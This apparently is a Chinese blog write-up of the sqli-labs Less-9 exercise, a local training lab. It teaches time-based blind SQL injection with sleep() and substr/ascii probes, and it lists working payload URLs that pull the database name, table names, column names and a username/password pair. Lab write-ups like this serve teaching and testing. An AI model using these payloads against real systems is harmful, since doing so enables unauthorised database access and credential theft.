sql注入第九关------延时注入

这关无论输入什么闭合符号回显都是正确的,这种情况我们可以利用时间函数来判断数据有没有在目标数据中得到执行。当然也需要构造闭合。
先引入几个函数

1.if(Condition,A,B)函数
2.当Condition为TRUE时,返回A;当Condition为FALSE时,返回B。
3.sleep()函数			网页延迟n秒后,输出结果
4.left()函数           左边数,取几个数
5.substr(var1, var2, var3)

   功能:从字符串里截取其中一段字符(串)

   - var1:被截取的字符串
   - var2:从哪一位开始截取
   - var3:截取长度

6.ascii(var)

   功能:取var字符的ascii码(十进制)

闭合

先来测试几波闭合符合,然后看等待时间
第一种猜测:

http://127.0.0.1/sqli-labs-master/Less-9/?id=1‘ and (sleep(2))--+

在这里插入图片描述
第二种猜测:

http://127.0.0.1/sqli-labs-master/Less-9/?id=1‘) and (sleep(2))--+

在这里插入图片描述
第n种猜测:

经过对比,发现第一张猜测时间最长(有意而为之),这时我们就可以判断出闭合符号了。

爆数据库名

先测试出长度

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(length(database())>7,sleep(2),0)--+

在这里插入图片描述
再找一个作为对比,比如>8,会发现等待时间只有几十毫秒,说明数据库名的长度等于8。

接下来找第一个字符的ascii

127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(ascii(substr((select database()),1,1))=115,sleep(2),0)--+

在这里插入图片描述

127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(ascii(substr((select database()),1,1))=114,sleep(2),0)--+

在这里插入图片描述
再次对比,数据库名字的一个字符的ascii是115(别问我为什么知道是115,做8关了,知道数据库名是什么吧),查ascii表发现,第一个字符是s
同理

127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(ascii(substr((select database()),2,1))=101,sleep(2),0)--+
127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(ascii(substr((select database()),3,1))=99,sleep(2),0)--+

.
.
.
找七次(其实可以查找范围的<>),结果是“security”。
在这里插入图片描述
爆表名

过程同上,我不再比较了,只找正确答案

?id=1' and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1))=117,sleep(2),1)--+

在这里插入图片描述

?id=1' and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),2,1))=115,sleep(2),1)--+

在这里插入图片描述
同上,依次往下,最后得到:emails/users

爆字段

在这里插入图片描述

?id=1' and If(ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1))=105,sleep(2),1)--+

在这里插入图片描述
同理

第一列名:id
第二列名:username
第三列名:password

爆数据

?id=1' and If(ascii(substr((select username from users limit 0,1),1,1))=68,sleep(2),1)--+

在这里插入图片描述
再再再同理,不用修改列了,只修改字段位置

最后依次进行得到username:Dumb,password:Dumb

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值